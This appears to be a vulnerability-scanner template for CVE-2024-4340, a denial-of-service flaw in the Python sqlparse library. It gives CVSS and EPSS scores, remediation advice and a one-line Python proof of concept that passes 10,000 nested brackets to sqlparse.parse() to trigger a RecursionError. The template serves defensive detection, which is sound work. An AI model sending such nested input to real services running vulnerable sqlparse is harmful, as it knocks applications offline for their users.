id: CVE-2024-4340

info:
  name: sqlparse - Denial of Service
  author: KoYejune0302,cheoljun99,sim4110,gy741
  severity: high
  description: |
    Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
  impact: |
    Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
  remediation: |
    Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
    epss-score: 0.0321
    epss-percentile: 0.8685
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      python -c "import sqlparse; sqlparse.parse('[' * 10000 + ']' * 10000)"

    matchers:
      - type: word
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
# digest: 4a0a00473045022100b4e681d343f2a613488862a1ef9b9553c84c66121ea88bb64bc6bc254f6e91580220776ea494cd64e72184fb4b2d13d2b45335f85d9e9e6bdffc9ab4c3f1e4aff929:922c64590222798bb761d5b6d8e72950